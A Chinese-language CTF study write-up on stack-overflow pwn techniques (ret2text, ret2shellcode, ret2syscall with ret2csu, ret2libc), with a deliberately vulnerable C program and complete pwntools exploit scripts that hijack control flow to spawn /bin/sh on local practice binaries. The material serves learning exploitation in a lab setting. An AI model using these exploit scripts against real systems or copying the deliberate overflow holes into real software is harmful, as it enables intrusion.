pwn 一些题详解

#ret2text

主要分为32位的和64位的不同程序,在做法是有不同的对应方法与

在一开始都要先在linux中先确定程序使用了那些保护方式与结构类型

1
checksec 文件名

![屏幕截图 2023-11-28 173641](wp/屏幕截图 2023-11-28 173641-17115444455564.png)

![屏幕截图 2023-11-28 173737](wp/屏幕截图 2023-11-28 173737.png)

1,无论是32位还是64位都要首先确定栈溢出时要填充多少个垃圾数据,有两种方法,ida和动调

ida(在特定的环境下可能不对以动调的为主):直接看所要溢出的那个栈在ida上与ebp的距离就是我们一开始要填从的数据的大小,注意在ida上显示的是16进制的数,在写脚本是要转化为10进制的数才能正确,如图要向buf中填充0x12(18)的数据才算覆盖到ebp的位置
![屏幕截图 2023-11-27 204046][wp/屏幕截图 2023-11-27 204046.png]![屏幕截图 2023-11-27 204046](wp/屏幕截图 2023-11-27 204046.png)

动调:gdb+可执行文件的名称,在运行到输入数据是输入较亮眼的数据,在之后看esp和ebp的距离,是为要注入的数据长。

现在注入的数据到达ebp所指向的地方但并没用完,由于栈的特点此时我们
还需要向其中再注入一段数据用于覆盖ebp所指向的地址,并且这段数据在不同系统中有不同的长度,在64位系统中要输入8个长度的数据,在32位系统中要输如4个长度的数据
以上的垃圾数据长度为一个字节(一个大写字母),用如下传递

1
b'A'*长度的大小

在确定垃圾数据的长度后在注入的数据便是之后程序要跳转执行的地方,在当下的情况下要让程序能执行system(/bin/sh)以获得控制权,如果在程序中有这个完整的函数,则在垃圾数据之后直接输入该函数的地址跳转到那执行就行,无论是32位还是64位都这样。函数的地址在ida中获得,用如下传递

1
2
p32(0x地址数字)用于32位系统
p64(0x地址数据)用于64位系统

函数传参
在很多情况下程序中并不会直接有system(/bin/sh)这个函数,而是将这system和/bin/sh放在不同的地方,需要我们将这两个同过地址的连在一起,用于执行,而此处32为系统与64为系统便是完全不同的方式进行,分开论述。

32位系统pit
在将垃圾数据输入进去之后直接输入到system函所在的地址(切记要输入的是该函数在plt段的地址,不能是text段的地址)
此时当程序执行到这里时会直接进入该函数的内部此时我们只要再输入字符串(/bin/sh)的位置程序便会执行该函数,但在输入字符串之前还要输入一个0

1
2
payload=b'A'*垃圾数据的长度+p32(plt段的system的地址)
+p32(0)+p32(.data段的/bin/sh的地址)

关于0的加入:
对于本题的函数传参,我们的栈帧构造初步想法如图

ebp ‘aaaa’
r return to func
参数一 “/bin/sh”
输入适量垃圾填充 padding * b ‘a’
覆盖返回地址指向func函数 p32(ret_addr)
参数”/bin/sh”地址
则payload = padding*b’a’ + p32(ret_addr) + p32(sh_addr)

然而这样的脚本在攻击时会出错。原因在于:

正常的函数调用call来达到push eip;jmp的作用,经过初步payload构造的攻击如下图所示,是通过覆盖return达到jmp的作用的,并没有像call一样push eip到栈中。
38e10a9971624ec18cd2d549954ca408.png38e10a9971624ec18cd2d549954ca408
故而ret执行后,ebp后为我们输入的参数而非eip原地址(函数结束后返回的地址),而函数读取参数的位置在上文中已经展示,为 ebp+0x8。故而在利用ret2text覆盖pwn题时候,需要自行加入一行栈帧的填充。
701953734d034bbe98efac9dc5c6f836.png701953734d034bbe98efac9dc5c6f836
64位系统
在64位的中在将垃圾数据写入之后,我们要将/bin/sh这段数据先写入到一个寄存器中然后将这个寄存器导入到函数中程序才能·执行
于是要做的第一步就是找到一个寄存器并修改其中的值,使用

1
ROPgadget --binary 文件名 --only 'pop|ret'

屏幕截图 2023-11-28 195354.png![屏幕截图 2023-11-28 195354](wp/屏幕截图 2023-11-28 195354.png)
通过这个我们可以找的程序中可以给我们使用·修改寄存器的命令的地址
在这里我们只用传一段函数于是只要用pop rdi;ret一个指令将rdi中的值修改,然后便是在栈中放入‘bin/sh’经由pop提交给rdi,最后便是填system的地址(在这里要填入的不能是plt段的system函数的地址,要填的是.data段中的call system的地址,因为在之前将/bin/sh的地址填入其中从而导入rdi中,如果要rdi中的数据能进入system中则要用call system,将rdi中值导入system然后在执行该函数)

1
2
payload=b'A'*垃圾数据的长度+p64(pop|ret的地址)+
p64(.data段中的/bin/sh的地址)+p64(.data段中的call system的地址)

#ret2shellcode
在这一类题中不会出现system和/bin/sh这种直接可以用来控制的函数,但程序中有一部分是可读可写可执行的部分,这一部分在程序中是很危险的一部分,一旦出现这种地方,同时含有栈溢出,便可以在通过栈溢出之后使程序跳到那部分可读可写可执行的部分,我们在往里面输入我们shellcode(意为一段恶意程序,通过执行这一段恶意程序,获得控制权)

关于可读可写可执行段的查找可以在gdb调式程序的过程中用vmmap指令查找
屏幕截图 2023-11-30 143610.png![屏幕截图 2023-11-30 143610](wp/屏幕截图 2023-11-30 143610.png)
如图便可以查找到从0x601000到0x602000是可读可写可执行(一下称为rwx)的程序,我们便可以将shellcode写入到这段程序

有的时候这个程序不一定在一开始写的时候便有rwx段程序,但在执行时会因为那个指令出现rwx段程序,如

1
mprotect(0x601000,0x100,PROT_READ | PROT_WRITE | PROT_EXEC);

这个指令将0x601000之后的0x100段数据都改为rwx程序于是我们便可以想这段之中写入我们的shellcode,在通过栈溢出使他执行这一段程序。

shellcode
一段恶意程序,可以在pwntools中获得比较简单的一些,执行

1
2
shellcraft.sh()//默认为32位的如果要64位执行下面这个
shellcraft.amd64.sh()//

屏幕截图 2023-11-30 145900.png![屏幕截图 2023-11-30 145900](wp/屏幕截图 2023-11-30 145900.png)
此时我们获得不过是汇编语言不能直接传入程序中,必须将它换为机器语言传入才能穿入成功

1
2
asm(shellcraft.sh())
这样输出的便是机器语言的shellcode,直接传入其中便可以使用

在64位的是可能会因为其环境默认为32位的而出现问题可以通过如下修改
屏幕截图 2023-11-30 150708.png![屏幕截图 2023-11-30 150708](wp/屏幕截图 2023-11-30 150708.png)

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include<stdio.h>
#include<string.h>
#include <sys/mman.h>
#define _GNU_SOURCE

//gcc poc.c -o poc -no-pie -fno-stack-protector
char shellcode[100];
void initt()
{
setvbuf(stdin, 0LL, 1, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 1, 0LL);
}
void pwnn()
{
char a[10];
puts("please pwn me!!!");
read(0,a,0x20);
}
void InputName()
{
puts("inputs you name");
read(0,shellcode,100);
mprotect(0x601000,0x100,PROT_READ | PROT_WRITE | PROT_EXEC);
}
int main()
{
initt();
InputName();
pwnn();

}

在这段程序中先执行InputName函数,在这个函数中,同构read向shellcode中可以输入最长100字节的数据,然后我们会发现他将0x601000之后100的数据改为rwx段,在ida中正好可以看到shellcode段的数据刚好在这其中,我们便可以通过这个向其中输入shellcode,在pwnn这个函数中正好有栈溢出的存在,
于是便可以先通过InputName函数输入shellcode然后再pwnn中栈溢出指向
shellcode的地址
攻击如下

1
2
3
4
5
6
7
8
9
10
from pwn import *
io=process("./poc")
context.arch = "amd64"//更改环境
bss=0x6010A0//shellcode的地址
payload=b'A'*24+p64(bss)//溢出并指向地址
binsh=asm(shellcraft.amd64.sh())构建shellcode
io.send(binsh)//先将shellcode传入rwx段中
io.recv()//由于是两段输入中间一个做间隔
io.send(payload)//进行栈溢出
io.interactive()//交互

在这一类题中有一个必须注意的事,shellcraft注入的地方最好是bss区,在这题中便是注入到bss区中的,虽然可以注入到栈上但栈上的保护过多最好不要注入到栈中

#ret2syscall
来吧趁今天有点时间把欠了一个星期的博客给补了
syscall相当于是一个系统中的命令,可以在与其他寄存器相配合的情况下完成系统调令,在程序没有system和/bin/sh时使用。
在系统中要取得控制权常用的方法是执行system(/bin/sh)指令,但很多情况下程序是一般不会有这个指令的,此时便可以看是不是可以通过向rwx段注入shellcode来获得控制权,但程序一般也不会有这种地方此时便可以开始考虑ret2syscall的方法,但这种方法夜有很大的局限性,一般只能在静态链接中使用,很少在动态链接中使用,虽然也不是不可以(之后便会讲一题用动态链接的题虽然在一定程度上那题可以算ret2csu的题但本质上还算用syscall可以做的题),

ret2syscall的本质就是让部分寄存器中的值变为特殊值从而使程序执行一个系统调令

1
2
3
4
5
6
mov eax rax, 0xb 0x3b
mov ebx rdi, [“/bin/sh”]
mov ecx rsi, 0
mov edx rdx, 0
int 0x80 syscall
=> execve("/bin/sh",NULL,NULL)

在静态链接中,在系统内核中的execve(“/bin/sh”,NULL,NULL)这个函数可以获得控制权,但由于他是内核函数,所以,在调用它时必须满足一些必要的调用约定才可以进行调用,

像这些系统内核函数调用必须使用一些特殊的汇编指令才能调用,如int 80(32位)和syscall(64位)就像一个call函数,但是是跳转到内核系统中,至于要跳到哪个函数则要根据之前部分寄存器的值来确定,eax(32)和rax(64)保存了系统调用号(内核函数在内核中都有独属于自己一个调用号,如execve的调用号为11(32位=0xb),59(64位=0x3b)),ebx和rdi用来保存在函数中执行的参数的地址,同时要保证ecx,edx和rsi,rdx中的值都为0。

大致就是这个但现在我们要面临的问题是如何修改寄存器中的值,这个有一个很好的方法。可以在终端中运行rop便可以找到程序中的可以帮我们修改寄存器的指令

1
ROPgadget --binary 文件名 --only "pop|ret"

屏幕截图 2023-12-09 160956.png![屏幕截图 2023-12-09 160956](wp/屏幕截图 2023-12-09 160956.png)

如此便可以查看在程序中有那些可以供我们去修改寄存器的命令(像这种用于修改寄存器的指令一般被称为gadget),我们只要在栈溢出的垃圾值后面加入这些指令,pop+寄存器的意思是将此时栈上的值取出放入寄存器中,ret的作用是返回栈中,回到我们自己的指令去继续执行我们的指令,而要放入寄存器中的值则只要放在这个指令地址的后面,在程序执行时会将这个指令的后面的那个值作为出栈的数据放入寄存器中。需要注意的是在命令中可能不止一个寄存器,此时我们变要将每一个寄存器的值都改变,便在寄存器命令后面以此放上要放入寄存器的值,如

1
2
3
4
0x0000000000405b44 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
这是用上面的那个指令运行后出现的一行数据
我们的利用
p32(0x0000000000405b44)+p32(2)+p32(0)+p32(9)+p32(0x3d)

如此当被我们劫持的程序执行到这里时,便会依次将2,0,9,0x3d这四个数据分别放入rbx,rbp,r12,r13这四个寄存器中,然后ret会将程序返回到原本的指令中。

有了以上的分析其实像这种题的过程便可以很清晰的出来了,
32位程序:
先输入垃圾数据然后,寻找足够的gadget将eax的值改为0xb,ebx改为‘/bin/sh’的地址(有的程序中会没有这个数据,但可以自己输入,在之后的题便是这种,到时候细讲)ecx改为0,edx改为0。
在这4个寄存器的值都改好后便可以执行int 0x80这个指令,获得控制权·
64位程序:
先输入垃圾数据然后,寻找足够的gadget将rax的值改为0x3b,rbi改为‘/bin/sh’的地址(有的程序中会没有这个数据,但可以自己输入,在之后的题便是这种,到时候细讲)rsi改为0,rdx改为0。
在这4个寄存器的值都改好后便可以执行syscall这个指令,获得控制权·

如上便是ret2syscall这类题的做法,其实细看回事有很大的限制在其中
1,要有足够将4个寄存器都修改的gadget,这一点便基本将动态链接给淘汰了,在大部分的动态链接中是没有足够多的gadget给我们使用的,只用静态链接中才会有足够时的gadget
2,在程序中必须有int 0x80(32位程序)或syscall(64位程序)指令

现在便拿出一道方法用的是ret2syscall但其中用了ret2csu的思想的一道动态链接的64位程序的(神奇)题

老样子先用checksec查看程序的保护(这道题是学长给的,在一开始题目就是ret2syscall虽然我一度怀疑题目错了,但最后确实没错,在后面为了好输入我改成poc)
屏幕截图 2023-12-09 170220.png![屏幕截图 2023-12-09 170220](wp/屏幕截图 2023-12-09 170220.png)
没什么特别的那就直接开整吧,

既然是ret2syscall那就找gadget,这里便是我懵逼的第一个地方,如此少的gadget,只能找到修改rdi和rsi的指令器外两个寄存器的值该怎么改?(拿命改),
屏幕截图 2023-12-09 171431.png![屏幕截图 2023-12-09 171431](wp/屏幕截图 2023-12-09 171431.png)

先不管将程序放入64位的ida中
屏幕截图 2023-12-09 172045.png![屏幕截图 2023-12-09 172045](wp/屏幕截图 2023-12-09 172045.png)
果然,一看左边这么少的函数就知道是个动态链接的程序,
返回到汇编的窗口仔细一找woc居然有syscall指令
屏幕截图 2023-12-09 172639.png![屏幕截图 2023-12-09 172639](wp/屏幕截图 2023-12-09 172639.png)
but在参数一栏找发现没有/bin/sh
屏幕截图 2023-12-09 172745.png![屏幕截图 2023-12-09 172745](wp/屏幕截图 2023-12-09 172745.png)
这便是我疑惑的第2个地方,后来问了学长才知道,在主程序中有gets函数便可以在劫持程序后利用gets函数将/bin/sh这个字符串输入到bss段中的空地址中,然后再调用。

好到现在来总结一下,我们能使用的有
syscall命令,
rdi和rsi寄存器,
用gets函数输入/bin/sh,
如果不考虑ret2libc的话,还差rax和rdx寄存器的改变

此时一个重要的思想出来,在程序中的__libc_csu_init函数,能有大用,改变某些寄存器的作用
这便是ret2csu的思想,将程序导入__libc_csu_init函数中从而改变一些gadget不能改变的寄存器的值
屏幕截图 2023-12-09 192250.png![屏幕截图 2023-12-09 192250](wp/屏幕截图 2023-12-09 192250.png)
在这里便可以先让程序执行0x4012DA地址的指令,修改rbx,rbp,r12,r13,r14,r15寄存器的值,然后在使程序执行0x4012C0地址的指令,从而修改rdx,rsi,edi的值(虽然是edi不是rdi,但是也可以相当于改变rdi,一般用不到前面的位数改变后面的足够了)最后的call可以直接跳转到一个函数出执行(这里有一个大坑,后面慢慢讲)

到了此时便只差rax的值不能改变,在程序中慢慢找看看能不能找到可以改变的地方
屏幕截图 2023-12-09 194646.png![屏幕截图 2023-12-09 194646](wp/屏幕截图 2023-12-09 194646.png)
好,找到了,在0x40119e及后面的指令在利用后刚好能将edi中的值传输到eax中(在64为系统中主用的是r开头的寄存器,e开头寄存器就是r开头的寄存器的后半部分,大部分情况下,r开头的寄存器前半部分的值用不到的,e的改变足够用),在这里还有一个很重要的点,我们是先将edi的值传进[rbp+var_4],在将[rbp+var_4]传进eax中,于是我们必须要保证[rbp+var_4]中的值是一个空但有限的地址,在bss段中选择。(var_4在前面有定义,但不用管比较小,只要保证rbp中的地址空并且有效就行)

由于本题中需要用到的空地址有点多,先讲一下空地址的选择
由于我们在调用gets函数需要向空地址写入数据,便要找到一个可写的地址,而bss段便是一个可写的地方,我们可以通过gdb调试中寻找在gdb调试进入程序后输入

1
vmmap

命令便可以看到每一段地址对应的能力,然后在确认好地址后用如下命令查看地址对应的存放情况

1
x/20gx 地址名//20代表的是从该地址往后的20字节的地址都显示出来

屏幕截图 2023-12-09 201100.png![屏幕截图 2023-12-09 201100](wp/屏幕截图 2023-12-09 201100.png)
如此便可以确认这个地址是一个可写的空的有效的地址

如此我们便可以将这个题的全部思路写出来,在一开始直接向程序中输入24个垃圾字节数据进行栈溢出,用于劫持程序,然后利用gets函数输入/bin/sh字符串,
在这里会出现一个事情,我们要向一个特定地址输入字符,而gets函数的原型是

1
char *gets(char *str);

于是在执行gets函数中时便会向先调用rdi寄存器(rdi为最常用的通用寄存器)中的值作为函数输入的值的存放地址,
于是我们便要向rdi赋一个空地址,然后才调用gets函数

1
payload=b'A'*24+p64(pop_rdi_ret)+p64(0x404480)+p64(gets)//get地址为plt段的地址,0x404480空地址

然后程序便等待输入,输入的过程可以在后面重新开一个新的payload2用于输入数据

在输入完成后开始对其他寄存器的值开始改变,先改变rax中的值为0x3b,将rdi中的值改变为0x3b,然后将rbp赋值为一个空地址为是程序执行下去,在程序后面还要在加一个空地址用于解决pop rbp指令

1
payload+=p64(pop_rdi_ret)+p64(0x3b)+p64(pop_rbp_ret)+p64(0x404680)+p64(edi_eax)+p64(0x404580)//两个地址都是空地址,edi_eax是指令的开始

现在rax的值已经改为0x3b,然后将r12,r13,r14,r15改为/bin/sh的地址,0,0,call要调转的地方。然后再执行mov的指令

1
call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]

这里有一个特殊的地方,call的跳转并不会直接跳转到那个指令的地址,然后执行,而是会将[r15+rbx*8]的地址所存放的地址先读取了,跳转到那个地址然后执行,所以在gets函数输入处不只要/bin/sh还要syscall指令的地址,然后在让call的调转到gets函数输入的syscall指令的地址,

1
2
3
4
payload+=p64(pop_r12_pop_r13_pop_r14_pop_r15_ret)
payload+=p64(0x404480)+p64(0)+p64(0)+p64(0x404488)+p64(0x4012C0)
//0x4012C0是mov的指令,0x404488是syscall指令地址存放的地址,
//0x404480是/bin/sh存放的地址

第一个payload构造完成
开始构造第二个payload2,

1
2
3
payload2=b'/bin/sh\x00'+p64(syscall)
///bin/sh\x00刚好有8个字节于是再后面syscall的指令,
//刚好是放在/bin/sh的地址加8位后,

好,给出完整的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
#context(log_level='debug')
io=process("./poc")
io.recv()
pop_rbp_ret=0x40117d
syscall=0x4011ae
pop_rsi_pop_r15_ret=0x4012e1
pop_rdi_ret=0x4012e3
ret=0x40101a
pop_r13_pop_r14_pop_r15_ret=0x4012de
syscall=0x4011ae
edi_eax=0x40119E
main=0x401223
gets=0x401090
getplt=0x404028
pop_r12_pop_r13_pop_r14_pop_r15_ret=0x4012dc
payload=b'A'*24+p64(pop_rdi_ret)+p64(0x404480)+p64(gets)
payload+=p64(pop_rdi_ret)+p64(0x3b)+p64(pop_rbp_ret)+p64(0x404680)+
p64(edi_eax)+p64(0x404580)+p64(pop_r12_pop_r13_pop_r14_pop_r15_ret)
+p64(0x404480)+p64(0)+p64(0)
payload+=p64(0x404488)+p64(0x4012C0)
payload2=b'/bin/sh\x00'
payload2+=p64(syscall)
#gdb.attach(io,'b *0x4012C0')
#pause()
io.sendline(payload)//第一次传入

io.sendline(payload2)第二次传入

io.interactive()

#ret2libc
在这里将之间讲述无system和无/bin/sh的情况将32位与64位分开讲述

32位
在这类题中一般是动态链接很多操作都不能执行
更多的知识不多讲直接将做题的过程
对于这种题我们一般可以先调用可已打印东西的函数,如puts的函数将got中谋个函数的地址答应出来,根据动态链接的延迟绑定规定,在第一次调用某个函数之后其在动态链接库中的地址将被写入got表中,我们便可以同过put等打印数据的函数将其打印出来地址,这个地址便是该函数在动态链接库中对应的地址,在题中有很大的可能这个地址是一个变化中的地址,这是系统的一种保护操作,但是一般答应出来的后3位(16进制的数)是不会变的,而我们便可以将这后3位的地址用于判断其动态链接库的类型,

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
from LibcSearcher import LibcSearcher//这个可用于自动寻找库,不过可能有点老,反正我没有用这个成功过
io=process('./文件名')
puts_plt=0x00000//puts在plt段的地址,可以直接在ida中找也可以用链接文件后直接用程序找
main=0x00000//main函数在text段中的地址,用于在打印地址后返回main从新开始执行
libc_start_main=0x000000000//got段中的libc_start_main的地址,在第一次调用后会有真实地址,打印出来
payload=b'A'*22+p32(put_plt)+p32(main)+p32(libc_start_main)
//32位的函数调用特点,间隔一个放参数。
io.recvuntil("\n")//可用可不用,关键根据当时的情况来加入,括号内是程序的输出
libcaddr=u32(io.recv(4))
//用于接收用puts函数打印出来的__libc_start_main函数的真实地址

在有libc_start_main函数的真实地址后,可以在网上查找函数的偏移地址
屏幕截图 2023-12-09 220543.png![屏幕截图 2023-12-09 220543](wp/屏幕截图 2023-12-09 220543.png)
一般来说真实地址的值会因为保护程序的存在而使中间的地址被随机化,但最后的3位(16进制)不会被改变,便可以通过后3位查到偏移量,
程序的基本地址=__libc_start_main函数的真实地址-__libc_start_main函数的偏移量
system函数的真实地址=程序的基本地址+system函数的偏移量
str_bin_sh函数的真实地址=程序的基本地址+str_bin_sh函数的偏移量

然后调用system函数利用str_bin_sh函数,便也可以获得控制权,

1
2
3
4
5
6
7
8
9
10
11
12
__libc_start_main=0x000//__libc_start_main函数的偏移地址
system=0x00000//system函数的偏移地址,
str_bin_sh=0x000//__libc_start_main函数的偏移地址
以上这三个的数值由网上查阅
libcbase_addr=libcaddr-__libc_start_main
system_addr=libcbase_addr+system
binsh_addr=libcbase_addr+str_bin_sh
payload2 = b'A'*22 + p32(sys_addr) + b'AAAA' + p32(binsh_addr)
//这里中间的数为了平衡栈顶要在中间加上4字节的垃圾数据
io.sendline(payload2)
io.interactive()

如果要使用LibcSearcher来用着要在要在前面加上

1
from LibcSearcher import *